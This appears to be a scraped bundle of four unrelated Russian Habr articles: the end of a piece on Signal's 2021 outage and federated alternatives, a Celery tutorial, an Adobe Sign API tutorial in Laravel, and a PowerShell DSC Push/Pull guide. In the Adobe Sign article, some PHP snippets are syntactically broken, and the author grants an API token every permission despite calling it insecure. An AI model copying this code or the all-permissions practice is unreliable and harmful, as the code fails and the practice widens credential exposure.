Хотя код [клиента для Android](https://github.com/signalapp/Signal-Android/commits/master) открыт и опубликован на GitHub, никто так и не заметил эту ошибку во время предыдущих аудитов и проверок. Вероятно, аудиторы сконцентрировали внимание на правильной реализации криптографии, а не на всяких интерфейсах, которые не угрожают безопасности. Хотя нужно заметить, что некорректную реализацию повторения попыток коннекта часто допускают начинающие программисты.
16 января для исправления ситуации в код Android-клиента внесли следующие изменения. «Флаги функций» означают, что соответствующий параметр в клиентской программе может быть установлен сервером:
* [Флаг функции для максимального таймаута повторной попытки](https://github.com/signalapp/Signal-Android/commit/93e9dd6425b22db13baaf7e7f780a93bda0a457e)
* [Джиттер для экспоненциальной выдержки](https://github.com/signalapp/Signal-Android/commit/8f7fe5c3eeb693e132b3c7d8bc692546bd70d27d)
```
int boundedAttempt = Math.min(nextAttempt, 30);
long exponentialBackoff = (long) Math.pow(2, boundedAttempt) * 1000;
long actualBackoff = Math.min(exponentialBackoff, maxBackoff);
```
* [Обработка ServerRejectedException (HTTP 508)](https://github.com/signalapp/Signal-Android/commit/c95f0fce6ee3b78ff82fde865b2ee49288e1303f)
* [Флаг функции для автоматического сброса сеанса](https://github.com/signalapp/Signal-Android/commit/a3c7e7e552f35751c43e79481357980bb36a8404)
Теперь клиенты Signal не должны ддосить свой сервер.
Для таких ситуаций Mozilla предлагает принять новый код ошибки [HTTP 429 Too Many Requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/429), чтобы определить ситуацию более ясно. Он сопровождается заголовком `[Retry-After](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Retry-After)` с указанием предпочтительного таймаута. Например:
```
HTTP/1.1 429 Too Many Requests
Content-Type: text/html
Retry-After: 3600
```
Возможно, такой код ошибки будет проще обрабатывать на клиенте.
Стабильность инфраструктуры Signal не налажена до сих пор, так что серверы периодически уходят в даун. Ничего не поделаешь, ведь Signal Foundation — это некоммерческая организация, которая существует на [пожертвования](https://signal.org/donate/). В отличие от компаний Telegram FZ LLC и Telegram Messenger Inc., привлекающих десятки миллионов долларов от инвесторов с общей оценкой мессенджера в [$30 млрд](https://habr.com/ru/news/t/537446/). Но там пользователей фактически считают товаром. Павел Дуров объявил, что [скоро начнёт монетизировать аудиторию](https://habr.com/ru/news/t/534550/), то есть показывать рекламу, зарабатывать на профилировании, продаже данных, таргетировании рекламы и так далее. Единственное, что Дуров пообещал не показывать рекламу в личных чатах.
Signal никогда не сделает ничего подобного. Но поэтому вынужден страдать от недостатка финансирования и связанных с этим технических проблем.
Кстати, мессенджер WhatsApp до покупки компанией Facebook нормально выдерживал более 100 млн пользователей. Но у него были деньги на инфраструктуру.
Централизованная инфраструктура — всегда плохо
==============================================
Дело не только в недостатке инвестиций. Организацию Signal и ведущего разработчика Мокси Марлинспайка ещё упрекают в выборе не самого корректного технологического стека, который не позволил внезапно масштабироваться в десять раз. Никто не знал, что WhatsApp выкинет такой фокус и произойдёт массовый наплыв пользователей в Signal, это было совершенно неожиданно, но инфраструктура оказалась не готова.
Вообще, Мокси Марлинспайк выступает принципиально против [федеративной системы](https://en.wikipedia.org/wiki/Federation_(information_technology)), которая предусматривает сосуществование произвольного количества серверов Signal, принадлежащих третьим лицам. Например, такую модель предусматривает протокол коммуникации XMPP (Jabber), на котором отлично работает служба обмена сообщениями.
Другой пример федеративной системы — электронная почта, которая основана на инфраструктуре из миллиона почтовых серверов от третьих лиц. Кто угодно может поднять собственный почтовый сервер — и он станет частью общей почтовой экосистемы.
Ещё один пример федеративной системы — социальная сеть [Mastodon](https://joinmastodon.org/), свободная альтернатива Facebook.
*Инстансы Mastodon*
Матрица
=======
Сквозное шифрование в любом случае делает невозможным перехват сообщений Signal на сервере, поэтому никто не мешает реализовать федеративную систему. Например, такая система реализована в сети [Matrix](https://matrix.org/), которая поддерживает любые виды коммуникаций, в том числе разработаны мосты в Slack, IRC, XMPP, Gitter, Telegram, Discord, WhatsApp, Facebook, Hangouts, Signal и [другие](https://matrix.org/bridges/).
Нативный клиент для Matrix называется [Element](https://element.io/), он выпускается в версиях для Windows, macOS, Android, iOS, а также [работает в вебе](https://app.element.io/), то есть просто в браузере.
*Веб-версия Element*
Matrix поддерживает сквозное шифрование, причём фактически на том же [протоколе Signal](https://en.wikipedia.org/wiki/Signal_Protocol), что и сам Signal. Но это система иного типа. В реальности Matrix — это *инфраструктура* для сторонних сервисов, некий промежуточный слой, его называют [«универсальной коммуникационной шиной»](https://medium.com/@ericmigi/the-universal-communication-bus-42dfb9a141ad). Используя все вышеперечисленные мосты, можно интегрировать все сторонние мессенджеры, приложения для групповой работы и социальные сети в едином интерфейсе Matrix.
В прошлом году удалось значительно увеличить количество мостов для разных сервисов благодаря одному предпринимателю, который [предложил вознаграждение $500](https://medium.com/@ericmigi/the-universal-communication-bus-42dfb9a141ad) за создание мостов Hangouts, Slack, Instagram, Facebook, Twitter, WeChat, Line, Linkedin, Airbnb, Tinder, Gmail и Snapchat.
Как выяснилось сейчас, это были инвестиции с дальним прицелом: в январе 2021 года этот предприниматель запустил новый стартап: [платный универсальный мессенджер Beeper](https://habr.com/ru/news/t/538616/) с интеграцией 15 мостов из Matrix.
Тем временем разработчики Matrix рассматривают дальнейшую эволюцию проекта. Вместо федеративной системы с определённым количеством серверов они [планируют внедрить полноценный P2P](https://matrix.org/blog/2020/06/02/introducing-p-2-p-matrix). На пиринговой инфраструктуре работает демонстрационная версия мессенджера [Riot P2P](https://p2p.riot.im/).
*Демо Riot P2P*
Несколько лет назад разработчики Matrix [даже предлагали](https://matrix.org/blog/2020/01/02/on-privacy-versus-freedom) Мокси подключить Signal (тогда он назывался TextSecure) к Matrix.
Мокси вежливо отказался, а через несколько месяцев опубликовал пост [«Экосистема движется»](https://signal.org/blog/the-ecosystem-is-moving/) с объяснением, почему он «больше не верит в возможность разработки конкурентного мессенджера на федеративной основе».
Аргументом Мокси Марлинспайка является то, что децентрализованную систему сложнее корректно спроектировать и запрограммировать. Программиста можно понять по-человечески, но сложность в реализации — это всё-таки недостаточное оправдание.
С каждым новым даунтаймом централизованная инфраструктура выглядит всё менее подходящей для Signal, да и для любого другого веб-сервиса, который ставит главным приоритетом надёжность работы. Даунтайм 16 января 2021 года [продолжался почти сутки](https://www.theverge.com/2021/1/17/22235707/signal-back-app-privacy-encrypted-outage)!
Даунтайм на сутки — уже достаточный аргумент против централизации. Есть и другие. Например, Signal [использует инфраструктуру AWS](https://signal.org/blog/looking-back-on-the-front/), а это уже определённый риск, как мы знаем по печальной истории [изгнания сервиса Parler](https://habr.com/ru/news/t/536886/), который тоже рискнул положиться на AWS.
Хотя исходный код Signal открыт, но тот же [серверный код](https://github.com/signalapp/Signal-Server) не обновлялся с апреля 2020 года. Это не значит, что там нет багов, а скорее указывает на недостаток внимания.
Если Мокси по-прежнему будет игнорировать федеративные системы, то в будущем есть смысл посмотреть в сторону альтернативных приложений со сквозным шифрованием. Кроме Matrix, например, есть приложение [Session](https://getsession.org/). Оно **не полагается на центральные серверы и не требует номер телефона для регистрации** (это ещё один повод для критики Signal).
*Мессенджер Session*
Судя по [whitepaper](https://getsession.org/wp-content/uploads/2020/02/Session-Whitepaper.pdf), одним из разработчиков Session является Максим Шишмарёв из проекта Loki Project. Эта организация занимается разработкой инструментов приватности и анонимных коммуникаций.
Session и Riot выглядят более стабильно, хотя по функциональности и удобству использования уступают Signal. Но они показывают, в каком направлении нужно двигаться Signal с точки зрения инфраструктуры. Федеративная система без центральных серверов — это отсутствие единой точки отказа, что означает более стабильную и надёжную работу.
По крайней мере, такое приложение не заддосит само себя.
---
#### На правах рекламы
**Эпичные серверы** — это [виртуальные серверы](https://vdsina.ru/cloud-servers?partner=habr242) для любых задач. Вы можете создать собственный тарифный план, максимальная конфигурация — 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe!
[](https://vdsina.ru/cloud-servers?partner=habr242) | https://habr.com/ru/post/539330/ | null | ru | null |
# Celery — распределенная очередь заданий
На этот раз мы решили рассказать о замечательном продукте, который мы используем в нашей работе. Речь пойдет о Celery — «distributed task queue». Это распределенная асинхронная очередь заданий, которая обладает широким функционалом. В нашем [конструкторе сайтов](http://cms.biggo.ru) нам часто приходиться запускать асинхронные с точки зрения ответа пользователю задачи. На хабре, к сожалению, не много информации по данному продукту, а он заслуживает отдельного упоминания, это мы и хотим исправить.
Итак, что же умеет [Celery](http://celeryq.org):
* Выполнять задания асинхронно или синхронно
* Выполнять периодические задания(умная замена crond)
* Выполнять отложенные задания
* Распределенное выполнение (может быть запущен на N серверах)
* В пределах одного worker'а возможно конкурентное выполнение нескольких задач(одновременно)
* Выполнять задание повторно, если вылез exception
* Ограничивать количество заданий в единицу времени (rate limit, для задания или глобально)
* Routing заданий (какому worker'у что делать)
* Несложно мониторить выполнение заданий
* Выполнять подзадания
* Присылать отчеты об exception'ах на email
* Проверять выполнилось ли задание (удобно для построения Ajax приложений, где юзер ждет факта завершения)
Заинтересовало? Просим под кат.
Начнем c конфигурации worker'a. Это демон, который собственно получает задания из очереди и выполняет их. Рекомендуемая очередь — RabbitMQ, но мы пока ограничились ghettoq, через MongoDB. Также поддерживается Redis и РСУБД.
celeryconfig.py:
```
CARROT_BACKEND = "ghettoq.taproot.MongoDB"
BROKER_HOST = "xxx"
BROKER_PORT = 27017
BROKER_VHOST = "celery"
CELERY_SEND_TASK_ERROR_EMAILS = True
ADMINS = ( ('Admin', 'admin@localhost'), )
CELERYD_MAX_TASKS_PER_CHILD = 5
CELERY_IMPORTS = ("tasks", )
CELERY_DISABLE_RATE_LIMITS = True
CELERY_RESULT_BACKEND = "mongodb"
CELERY_MONGODB_BACKEND_SETTINGS = {
"host": "xxx",
"port": 27017,
"database": "celery",
"taskmeta_collection": "my_taskmeta_collection",
}
```
Запуск демона: celeryd -l INFO -B
Включаем логгирование в консоль и опция -B запуск демона периодических заданий. Последний можно запустить отдельно коммандой celerybeat
Теперь создадим тестовое задание. В конфиге мы импортируем tasks, поэтому и файл заданий у нас tasks.py:
```
from celery.decorators import task
from celery.decorators import periodic_task
from celery.task.schedules import crontab
@periodic_task(run_every=timedelta(seconds=60))
def mail_queue():
print "Task is executed every minute"
@periodic_task(run_every=crontab(hour=0, minute=10))
def transactions():
print "Task is executed every day on 0:10"
@task
def delayed_function(id):
some_function()
@task
def delayed_heavy_function(id):
some_heavy_function()
```
Итак, у нас 4 задания в tasks. Первые два выполняются по расписанию, т.к. они отмечены декоратором @periodic\_task. А вот два последних будут вызваны непосредственно из кода программы. Вот таким образом:
```
from tasks import delayed_function, delayed_heavy_function
delayed_function.apply_async(args=[id], countdown=300) # Будет запущена через 300 секунд
r = delayed_heavy_function.delay(id) #Будет запущена сразу(как только появится возможность), в асинхронном режиме
```
Теперь для того чтобы отследить результат и факт завершения последнего задания выполним:
r.ready() # Вернет True если задание отработало
r.result # Вернет значение выполненной функции или None если еще не выполнено(асинхронно)
r.get() #Будет ждать выполнения задания и вернет ее результат(синхронно)
Переменную r можно прогнать через cPickle, положить значение в кеш и аяксом опрашивать статус задания. Либо можно получить task id, и положить в кеш его. Кроме того, task id вы можете задавать самостоятельно, главное чтоб он был уникальным.
После плотного использования celery мы обнаружили несколько ошибок, связанных с отложенным выполнением задач, с менеджером очередей ghettoq, но они все были поправлены автором в день создания issue на github, за что ему спасибо.
Не так давно вышла версия 2.0, которая перестала быть django-зависимой, а интеграция с django теперь вынесена в отдельный подпроект celery-django.
Из ограничений celery можно выделить два, точнее это просто особенности: на штатной FreeBSD worker'ы не будут работать, т.к. там нет питоновкого multiprocessing, хотя в сети есть рецепты по сборке ядра для celery; для перегрузки заданий необходимо рестартовать воркер, чтобы он загрузил новый python-код заданий и связанных функций. На linux работает замечательно. | https://habr.com/ru/post/102742/ | null | ru | null |
# Отправка файлов на подпись с Adobe Sign API
В документации Adobe сочетается большой объем информации и плохая организация этой информации. Поэтому когда перед мной стала задача отправлять документы через Adobe Sign Api, я потратил несколько дней чтобы понять как всё это работает.
И вот моё решение перед вами. Надеюсь, оно сэкономит время и нервы тех кому только предстоит разобраться в этом.
**Порядок действий:**
1. Создаем статичный ключ для работы с API - Access token
2. Получаем домены для работы с API - Base uris
3. Загружаем документ
4. Отправляем документ на подпись
5. Проверяем статус подписи
6. Сохраняем подписанный файл
Создаем статичный ключ для работы с API - Access token
------------------------------------------------------
Заходим в свой аккаунт на сайте Adobe Sign API: <https://secure.echosign.com/public/login>. Переходим на страницу Account. Выбираем Personal Preferences и Access Tokens.
Нажимаем на плюсик справа, вводим название, выбираем доступы и сохраняем.
Какие доступы нам нужны?На этот вопрос у меня ответа нет, поэтому я выбрал все доступы, чтобы наверняка заработало. Да, это не безопасно, но зато так точно будет работать. Мне было важно, чтобы оно заработало.
После сохранения, кликаем на наш токен и нажимаем сверху “Integration Key”, чтобы получить наш токен.
**Далее в перменной** `$accessToken` **будет именно этот токен.**
Получаем домены для работы с API - Base uris
--------------------------------------------
```
php
// Access token, полученный выше
$accessToken = '';
// Laravel фасад:
// GET запрос
// Доп. заголовок: Bearer $accessToken
// URL: https://api.adobesign.com/api/rest/v6/baseUris
$response = Http::withToken($accessToken)
-get('https://api.adobesign.com/api/rest/v6/baseUris');
// В ответе JSON с полем apiAccessPoint
$apiAccessPoint = $response->json('apiAccessPoint');
```
В `$apiAccessPoint` домен для API запросов.
Загружаем документ
------------------
```
php
// Access token, полученный выше
$accessToken = '';
// Домен для API запросов, полученный выше
$apiAccessPoint = '';
// Путь к pdf шаблону
$template = file_get_contents($pathToTemplate);
// Laravel фасад:
// POST multipart/form-data запрос
// Доп. заголовок: Bearer $accessToken
// URL: $apiAccessPoint.'/api/rest/v6/transientDocuments'
// В теле указываем название файла, mime тип и содержимое файла
$response = Http
::withToken($accessToken)
-baseUrl($apiAccessPoint)
->asMultipart()
->post('/api/rest/v6/transientDocuments', [
'File-Name' => 'document.pdf',
'Mime-Type' => 'application/pdf',
'File' => $template
]);
// В ответе JSON с полем transientDocumentId, что является ID загруженного дока
$transientDocumentID = $response->json('transientDocumentId');
if ( ! $transientDocumentID) {
// Если не пришел ID документа, то обрабатываем ошибку
}
```
В переменной `$transientDocumentID` будет ID загруженного документа.
Отправляем документ на подпись
------------------------------
Далее мне надо было понять как отправить документ на подпись.
Сначала я пытался добавить в документ виджеты. Виджет - это поле ввода в которое пользователь может внести свои данные, включая подпись. Но виджетам необходимо указывать координаты, которые непонятно как связаны с реальным документом.
Поэтому после нескольких часов поиска в интернете, я нашел [руководство по тегам](https://secure.echosign.com/doc/TextFormsTutorial.pdf), которые можно добавить в шаблон, чтобы поля появились сами собой.
Например, чтобы появилось поле подписи, нужно ввести тег {{ *es*:signer:signature }}
В документе это может выглядеть так:
> Документ #1234
>
> *Исполнитель: Дмитрий Дмитриевич {{es:signer:signature }}*
>
>
Далее необходимо сформировать тело запроса. Оно содержит некоторое количество полей:
```
php
// Функция для формирования тела запроса. Используется ниже
function getBodyForSignDocument($documentID, $email): array
{
return [
// ID документа, полученный выше
"fileInfos" = [
[
"transientDocumentId" => $documentID
]
],
// Название документа, которое увидит клиент
"name" => "Series Document",
"participantSetsInfo" => [
[
"order" => 1,
"role" => "SIGNER",
"memberInfos" => [
[
// Почта клиента
"email" => $email,
"id" => 1
]
]
]
],
"signatureType" => "ESIGN",
"state" => "IN_PROCESS"
];
}
```
Теперь необходимо выполнить запрос на отправку файла на подпись:
```
php
// Access token, полученный выше
$accessToken = '';
// Домен для API запросов, полученный выше
$apiAccessPoint = '';
// Тело запроса, функция которого писана выше
$bodyForSignDocument = getBodyForSignDocument($transientDocumentID, $email);
// Laravel фасад:
// POST application/json запрос
// Доп. заголовок: Bearer $accessToken
// URL: $apiAccessPoint.'/api/rest/v6/agreements'
// Тело запроса описано выше
$response = Http::withToken(self::API_TOKEN)
-baseUrl($apiAccessPoint)
->asJson()
->post(
'/api/rest/v6/agreements',
$bodyForSignDocument
);
// В ответе JSON с ID загруженного документа. Он понадобится ниже
$documentID = $response->json('id');
if ($response->status() != '201' || ! $documentID) {
// Если ID не пришел или документ не был первично обработан Adobe, обрабатываем ошибку
}
```
В переменной `$documentID` содержится ID документа, который был отправлен на подпись.
Проверяем статус подписи
------------------------
```
php
// Access token, полученный выше
$accessToken = '';
// Домен для API запросов, полученный выше
$apiAccessPoint = '';
// ID документа, полученный выше
$documentID
// Laravel фасад:
// GET запрос
// Доп. заголовок: Bearer $accessToken
// URL: $apiAccessPoint.'/api/rest/v6/agreements/'.$documentID
$response = Http::withToken(self::API_TOKEN)
-baseUrl($apiAccessPoint)
->get('/api/rest/v6/agreements/' . $documentID);
// В ответе JSON с полем status
$status = $response->json('status');
if ($status !== 'SIGNED') {
// Если статус не SIGNED, то ждем пока подпишут
}
```
Сохраняем подписанный файл
--------------------------
```
php
// Access token, полученный выше
$accessToken = '';
// Домен для API запросов, полученный выше
$apiAccessPoint = '';
// ID документа, полученный выше
$documentID
// Полный путь до файла
$fileURLPath = $apiAccessPoint . 'api/rest/v6/agreements/' . $documentID . '/combinedDocument';
// Laravel фасад:
// GET запрос
// Доп. заголовок: Bearer $accessToken
// URL: $apiAccessPoint.$fileURLPath
$fileContent = Http::withToken(self::API_TOKEN)
-baseUrl($apiAccessPoint)
->get($fileURLPath);
// В теле ответа будет подписанный PDF файл, если раннее в статусе было SIGNED
$fileContent = $fileContent->body();
```
Источники. Примечания
---------------------
**Источники**
* [Общий гайд по Adobe Sign API](https://opensource.adobe.com/acrobat-sign/developer_guide/index.html) - можно ознакомиться для общего понимания API
* [Описание запросов к API 6й версии](https://secure.na1.adobesign.com/public/docs/restapi/v6) - тут подробно описаны методы для отправки документа на подпись
* [Гайд от Adobe по Access Token](https://helpx.adobe.com/sign/kb/how-to-create-access-token-using-postman-adobe-sign.html) - не уверен что читал именно этот гайд, поэтому могу лишь посоветовать бегло посмотреть что к чему тут
* [Руководство по тегам в Adobe Sign API](https://secure.echosign.com/doc/TextFormsTutorial.pdf) - **советую внимательно прочитать**
* [Личный кабинет в Adobe Sign](https://secure.echosign.com/public/login) - на всякий случай
**Касательно авторизации**
Изначально Adobe просит использовать авторизацию через кнопку "Войти через Adobe". Но такой способ мне не подходил, ибо система должна функционировать автономно без вмешательства пользователей. Авторизация - тоже вмешательство.
Именно поэтому была найдена альтернатива в виде статичного токена - access token.
**Касательно параметров в POST методе /api/rest/v6/agreements**
Советую ознакомиться с [описанием запросов к API 6й версии](https://secure.na1.adobesign.com/public/docs/restapi/v6) для понимание что можно добавить и изменить.
Например, можно не отправлять сразу документ, а подготовить его, добавив те виджеты. И только потом отправлять. Либо же, можно добавить какие-то данные в документ через автозамену тегов в формат `{{var.name}}`
Прошлая статья на тему Adobe
----------------------------
["Генерация файлов с Adobe"](https://habr.com/ru/post/708566/) - в статье описаны методы формирования файлов из doсx шаблонов. | https://habr.com/ru/post/709296/ | null | ru | null |
# На чьей стороне вы: Push и Pull в Desired State Configuration
Мы уже рассказали, как описывать конфигурацию в Desired State Configuration (DSC) и разобрали встроенный агент Local Configuration Manager (LCM) для применения конфигурации на сервере. [В первой части статьи](https://habr.com/ru/company/dataline/blog/503072/) пошагово прошлись по основным особенностям инструмента вместе с [Евгением Парфеновым](https://www.linkedin.com/in/eparfenov) из [DataLine](https://habr.com/ru/company/dataline/).
Здесь же погрузимся в настройку и особенности работы в режимах Push и Pull.
[](https://habr.com/ru/company/raiffeisenbank/blog/503672/)
#### О чём расскажем:
1. [Различия режимов Push и Pull](#1)
2. [Push-режим в деталях](#2)
3. [Pull-режим в деталях](#3)
Различия режимов Push и Pull
----------------------------
В режиме Push мы вручную или скриптом запускаем процесс применения изменений на сервере (локально или удаленно). Local Configuration Manager (LCM) применяет конфигурацию интерактивно.
В режиме Pull сам агент LCM на сервере по расписанию сравнивает свою конфигурацию с конфигурацией, опубликованной в общем хранилище конфигураций. Если имеются изменения, то конфигурация копируется локально и применяется.
Плюсы и минусы обоих режимов работы вполне очевидны.
| | Push | Pull |
| --- | --- | --- |
| + | 1. Стоимость. Не требует установки дополнительных серверов.
2. Простая архитектура. Все конфигурации хранятся локально в том виде, в котором удобно администратору.
3. Подходит для тестирования. DSC
4. DevOps Way. При развёртывании серверов очень просто автоматизируется и вписывается в философию Infrastructure as a Code.
5. Отличная замена run-once скриптов при развёртывании виртуальных машин.
| 1. Автоматизация применения конфигураций. Конфигурации применяются автоматически самими управляемыми серверами.
2. Простота управления большим количеством серверов. Большая часть работы выполняется агентами DSC на самих серверах.
3. Этот же режим используется в Azure Automation State Configuration, что очень удобно при конфигурации виртуальных машин Windows Server 2012R2+
|
| – | 1. В On-Premise инфраструктурах возможны cложности в управлении серверами. Требует доступного подключения к серверу в момент применения конфигурации, что не всегда возможно.
| 1. Требует установки дополнительного сервера, который будет хранить все конфигурации управляемых серверов.
2. В On-Premise инфраструктурах настройки сервера с конфигурациями распространяются через GPO, что автоматически делает данный метод негарантированной доставкой конфигурации целевому серверу.
3. Как следствие — сложность мониторинга применения конфигурации, особенно если конфигураций несколько и они должны применяться в определенном порядке.
|
Установка ресурсов также немного отличается для разных режимов. Как мы помним, для использования ресурса нужно установить его локально и на сервер.
В случае использования режима Push администратор должен предварительно установить все необходимые ресурсы на управляемый сервер и на ПК, откуда конфигурация будет подана.
В режиме Pull — агент DSC на управляемом сервере может самостоятельно установить все необходимые ресурсы с Pull-сервера, задача администратора – разместить их на Pull-сервере. Однако держим в уме, что невозможно спрогнозировать применение конфигурации в режиме Pull, так как GPO не является гарантированной доставкой настроек.
Push-режим в деталях
--------------------
Верхнеуровнево процесс написания и применения конфигураций DSC можно представить в следующем виде:
На первой стадии (**Authoring**) мы описываем конфигурацию используя любой удобный нам IDE (Notepad, PowerShell ISE, Visual Studio Code и другие). По завершении мы компилируем mof-файлы конфигурации (процесс компилляции описан [в нашей предыдущей статье](https://habr.com/ru/company/dataline/blog/503072/)).
На второй стадии (**Staging/Compilation**) мы запускаем применение конфигурации из скомпилированного mof-файла с помощью командлета **Start-DSCConfiguration**. В процессе сервер управления передаёт mof-файл LCM сервера, который должен применить конфигурацию.
В данном случае лучше использовать ключ **-Verbose** для полного контроля процесса конфигурации:
```
PS C:\windows\system32> Start-DscConfiguration -Path C:\EnvironmentVariable_Path\ -Wait -Verbose
# Cтарт конфигурации
VERBOSE: Perform operation 'Invoke CimMethod' with following parameters, ''methodName' =
SendConfigurationApply,'className' = MSFT_DSCLocalConfigurationManager,'namespaceName' =
root/Microsoft/Windows/DesiredStateConfiguration'.
VERBOSE: An LCM method call arrived from computer COMPUTER with user sid
S-1-5-21-SID.
# Подгрузка ресурсов
VERBOSE: [COMPUTER]: LCM: [ Start Set ]
VERBOSE: [COMPUTER]: LCM: [ Start Resource ] [[Environment]CreatePathEnvironmentVariable]
# Старт проверки на соответствие заданным условиям (test)
VERBOSE: [COMPUTER]: LCM: [ Start Test ] [[Environment]CreatePathEnvironmentVariable]
VERBOSE: [COMPUTER]: [[Environment]CreatePathEnvironmentVariable] Environment variable
'TestPathEnvironmentVariable' does not exist.
VERBOSE: [COMPUTER]: LCM: [ End Test ] [[Environment]CreatePathEnvironmentVariable] in 0.1320 seconds.
# Проверка завершилась неудачно с сообщением “Environment variable 'TestPathEnvironmentVariable' does not exist”
# Начинаем исправлять ситуацию и создаем переменную среды
VERBOSE: [COMPUTER]: LCM: [ Start Set ] [[Environment]CreatePathEnvironmentVariable]
VERBOSE: [COMPUTER]: [[Environment]CreatePathEnvironmentVariable] Environment variable
'TestPathEnvironmentVariable' created with value 'TestValue'.
VERBOSE: [COMPUTER]: LCM: [ End Set ] [[Environment]CreatePathEnvironmentVariable] in 0.0690 seconds.
VERBOSE: [COMPUTER]: LCM: [ End Resource ] [[Environment]CreatePathEnvironmentVariable]
VERBOSE: [COMPUTER]: LCM: [ End Set ]
VERBOSE: [COMPUTER]: LCM: [ End Set ] in 2.1900 seconds.
# Переменная создана
# Закрытие сессии
VERBOSE: Operation 'Invoke CimMethod' complete.
VERBOSE: Time taken for configuration job to complete is 2.749 seconds
```
Видно, что движок проверил наличие переменной, не нашёл её и создал новую, согласно указанной конфигурации:
На третьей стадии (**Execution**) в игру вступает агент DSC – LCM. Он получает mof-файл, проверяет его, размещает в папку `$env:systemRoot/system32/configuration` и запускает воркфлоу применения файла конфигурации:
1. LCM получает, применяет файл конфигурации. Файл переименовывается в pending.mof и размещается в `$env:systemRoot/system32/configuration`
* Если применение файла конфигурации завершается с ошибкой, то файл pending.mof остаётся, и LCM попробует его применить при следующем цикле.
2. Если в папке уже есть файл current.mof, то он переименовывается в previous.mof
3. Если применение файла конфигурации завершается успешно, то LCM переименовывает его в current.mof
4. Файл current.mof копируется в файл backup.mof
Графически воркфлоу можно изобразить следующим образом:
Для управления разными файлами конфигурации имеется командлет **Remove-DSCConfigurationDocument,** который позволяет удалять конкретные документы, если это по какой-то причине необходимо сделать. Впрочем, ничто не мешает нам их удалить вручную.
Pull-режим в деталях
--------------------
Pull-режим сложнее в развёртывании и настройке, но он сильно упрощает процесс управления серверами, которые подключены к нему.
Общая схема будет выглядеть примерно так:
Pull-режим требует развёртывания Pull-сервера. Фактически он является обычным веб-сервером, который может отдавать клиентам mof-файлы и ресурсы, которые могут потребоваться при применении конфигураций из mof-файлов. Последнее сильно упрощает процесс управления и конфигурации серверов, так как задача по доставке необходимых ресурсов ложится на клиента. Pull-сервер при этом выступает в качестве хранилища\репозитория ресурсов.
Pull-сервер умеет предоставлять доступ к ресурсам и файлам конфигурации через два протокола:
1. **SMB.** Файлы складываются на обычной файловой шаре на сервере. При необходимости можно прикрутить DFS-R. Легко разворачивается, но сложно настраивать в распределённых системах, так как требуется открывать динамический диапазон портов для доступа клиентов. Также SMB не годится в мультидоменной инфраструктуре, так как серверы из других доменов или серверы не в домене не смогут пройти аутентификацию через Kerberos.
2. **Http\https.** Лучший вариант для управления серверами из разных сетей и доменов. Требует установки IIS.
Установка Pull сервера может быть выполнена через штатные ресурсы, которые предлагает команда разработки DSC. [Подробнее можно посмотреть тут](https://docs.microsoft.com/en-us/powershell/scripting/dsc/pull-server/pullserver?view=powershell-7). Или использовать решения, предлагаемые сообществом: [тут](https://github.com/powershellorg/tug) или [здесь](https://github.com/powershellorg/dsc-traek).
Воркфлоу дальнейшей работы с pull-сервером следующий:
1. Настраиваем клиентов (LCM) на работу с pull-сервером.
2. Загружаем на pull-сервер файлы ресурсов.
3. Готовим клиентские файлы конфигурации (написание и компиляция) и файлы с проверочными суммами.
4. Наслаждаемся результатом.
#### Настройка клиентов (LCM) на работу с pull-сервером
Для этого используются следующие [настройки LocalConfigurationManager (v5)](https://docs.microsoft.com/en-us/powershell/scripting/dsc/managing-nodes/metaconfig):
Блок **Settings:**
* **CertificateID** – указывается отпечаток сертификата для защиты логинов\паролей передаваемых в конфигурации.
* **ConfigurationID** – содержит GUID клиента. На клиента будут применяться только те конфигурации, которые содержат его GUID в имени файла конфигурации. Настройка оставлена для совместимости со старыми версиями pull-сервера. Лучше использовать настройку RegistrationKey.
* **RefreshMode** – для работы с Pull-серверов указываем Pull в этой настройке.
Блок **ConfigurationRepositoryWeb:**
* **AllowUnsecureConnection** – разрешать\не разрешать подключение без аутентификации.
* **CertificateID** – указывается отпечаток сертификата на клиенте, который будет использоваться в процессе взаимной аутентификации с сервером.
* **ConfigurationNames** – массив имён конфигураций, которые будут применяться на клиента.
* **RegistrationKey** – сгенерированный на сервере секрет, который используется клиентом для регистрации на сервере.
* **ServerURL** – URL Pull-сервера с конфигурациями.
Блок **ResourceRepositoryWeb:**
* **AllowUnsecureConnection** – разрешать\не разрешать подключение без аутентификации.
* **CertificateID** – указывается отпечаток сертификата на клиенте, который будет использоваться в процессе взаимной аутентификации с сервером.
* **RegistrationKey** – сгенерированный на сервере секрет, который используется клиентом для регистрации на сервере.
* **ServerURL** – URL Pull-сервера с ресурсами.
Блок **ReportServerWeb:**
* **AllowUnsecureConnection** – разрешать\не разрешать подключение без аутентификации.
* **CertificateID** – указывается отпечаток сертификата на клиенте, который будет использоваться в процессе взаимной аутентификации с сервером.
* **RegistrationKey** – сгенерированный на сервере секрет, который используется клиентом для регистрации на сервере.
* **ServerURL** – URL Pull-сервера с отчётами.
#### Загрузка на Pull-сервер файлов ресурсов
После применения новых настроек на LCM, которые научат его использовать Pull-сервер, можно [загружать на сервер файлы ресурсов](https://docs.microsoft.com/en-us/powershell/scripting/dsc/pull-server/package-upload-resources). Ресурсы загружаются на сервер в виде zip-файлов (папка с ресурсом упаковывается в zip). Правило именования такого файла:
```
{ModuleName}_{Version}.zip
```
Место размещения файла по умолчанию `$env:PROGRAMFILES\WindowsPowerShell\DscService\Modules`. При установке Pull-сервера эту папку можно переопределить. Кроме файла с упакованной в zip папкой ресурса необходимо там же разместить файл с контрольной суммой этого упакованного ресурса. Например, так:
```
New-DscChecksum -Path .\xPSDesiredStateConfiguration_8.4.4.0.zip
```
#### Размещение на Pull-сервере файлов конфигураций клиентов
Здесь важно отметить, что мы можем использовать два режима работы клиентов в данном случае (на самом деле два с половиной): клиент с сервера будет получать конфигурацию, используя **ConfigurationID**, или клиент будет использовать имя конфигурации – **ConfigurationName**. Если необходимо применить несколько конфигураций, то все их можно указать в ConfigurationName, но при этом придётся LCM настроить на работу с частичными конфигурациями (partial configuration).
При использовании ConfigurationID нужно подчеркнуть, что mof-файл конфигурации, который будет применён на клиента, будет содержать GUID (он содержится в ConfigurationID). В случае использования ConfigurationName – mof-файл будет содержать имя конфигурации, которое мы укажем в ConfigurationName. В обоих случаях помимо mof-файла там же будет размещаться файл контрольной суммы конфигурации:
```
New-DscChecksum -Path '.\' -Force
```
В качестве заключения
---------------------
